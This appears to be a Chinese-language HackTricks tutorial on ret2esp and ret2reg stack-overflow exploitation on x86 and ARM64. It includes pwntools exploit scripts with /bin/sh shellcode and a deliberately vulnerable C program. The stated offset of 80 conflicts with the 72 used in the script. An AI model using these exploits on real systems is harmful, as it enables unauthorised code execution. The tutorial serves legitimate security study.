# Ret2esp / Ret2reg

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## **Ret2esp**

**由于ESP（堆栈指针）始终指向堆栈的顶部**，这种技术涉及将EIP（指令指针）替换为\*\*`jmp esp`**或**`call esp`\*\*指令的地址。通过这样做，shellcode被放置在被覆盖的EIP之后。当`ret`指令执行时，ESP指向下一个地址，恰好是shellcode存储的位置。

如果在Windows或Linux中未启用**地址空间布局随机化（ASLR）**，则可以使用在共享库中找到的`jmp esp`或`call esp`指令。然而，如果[**ASLR**](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/aslr)激活，可能需要在受影响的程序内部寻找这些指令（您可能需要击败[**PIE**](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/pie)）。

此外，能够将shellcode放置在**EIP损坏之后**，而不是在堆栈中间，可以确保在函数运行过程中执行的任何`push`或`pop`指令不会干扰shellcode。如果shellcode放置在函数堆栈的中间，可能会发生这种干扰。

### 空间不足

如果在覆盖RIP后写入的空间不足（也许只有几个字节），可以编写一个初始的\*\*`jmp`\*\* shellcode，例如：

```armasm
sub rsp, 0x30
jmp rsp
```

并将shellcode提前放在堆栈中。

### 示例

您可以在<https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp>中找到此技术的示例，最终利用如下：

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```

你可以在<https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html>中看到这种技术的另一个示例。这里存在一个未启用NX的缓冲区溢出，使用了一个小工具来**减少`$esp`的地址**，然后使用`jmp esp;`跳转到shellcode：

```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()
```

## Ret2reg

类似地，如果我们知道一个函数返回存储shellcode的地址，我们可以利用\*\*`call eax`**或**`jmp eax`**指令（称为**ret2eax**技术），提供另一种执行我们的shellcode的方法。就像eax一样，包含有趣地址的**任何其他寄存器\*\*都可以被使用（**ret2reg**）。

### 示例

您可以在这里找到一些示例:

* <https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg>
* <https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c>
* \*\*`strcpy`**将存储在**`eax`**中shellcode所在的缓冲区的地址，而**`eax`\*\*没有被覆盖，因此可以使用`ret2eax`。

## ARM64

### Ret2sp

在ARM64中，**没有**允许**跳转到SP寄存器**的指令。可能会找到一个**将sp移动到寄存器然后跳转到该寄存器**的gadget，但在我的kali libc中找不到类似的gadget:

```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```

我发现的唯一方法是更改在跳转到它之前复制sp的寄存器的值（因此它将变得无用）：

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e65ef8fd7c7e795467d9fb572c1a41c41e7d4795%2Fimage%20(1221).png?alt=media" alt=""><figcaption></figcaption></figure>

### Ret2reg

如果一个寄存器有一个有趣的地址，只需找到适当的指令就可以跳转到它。您可以使用类似以下的内容：

```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```

在ARM64中，是\*\*`x0`\*\*存储函数的返回值，因此可能是x0存储用户控制的缓冲区地址，其中包含用于执行的shellcode。

示例代码:

```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```

检查函数的反汇编代码，可以看到**缓冲区的地址**（容易受到缓冲区溢出攻击，**由用户控制**）在从缓冲区溢出返回之前被**存储在 `x0`** 中：

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-241b71d2985061e52842ec43c40cfd8cce3e5527%2Fimage%20(1222).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

在\*\*`do_stuff`**函数中也可以找到**`br x0`\*\*这个特殊指令：

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-843007838794f1a148c5639f308a4f3ca62e027b%2Fimage%20(1223).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

我们将使用该特殊指令进行跳转，因为二进制文件是**没有启用 PIE 编译**的。通过模式匹配，可以看到**缓冲区溢出的偏移量为 80**，因此利用将是：

```python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()
```

{% hint style="warning" %}
如果使用的是`read`而不是`fgets`，也可以通过**仅覆盖返回地址的最后2个字节**来绕过PIE，返回到`br x0;`指令，而无需知道完整地址。\
使用`fgets`不起作用，因为它**在末尾添加了一个空字节（0x00）**。
{% endhint %}

## 保护措施

* [**NX**](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx): 如果堆栈不可执行，这不会有帮助，因为我们需要将 shellcode 放在堆栈中并跳转执行它。
* [**ASLR**](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/aslr) & [**PIE**](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/pie): 这些保护措施可以使查找跳转到 esp 或任何其他寄存器的指令变得更加困难。

## 参考资料

* <https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode>
* <https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp>

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享您的黑客技巧**。

</details>
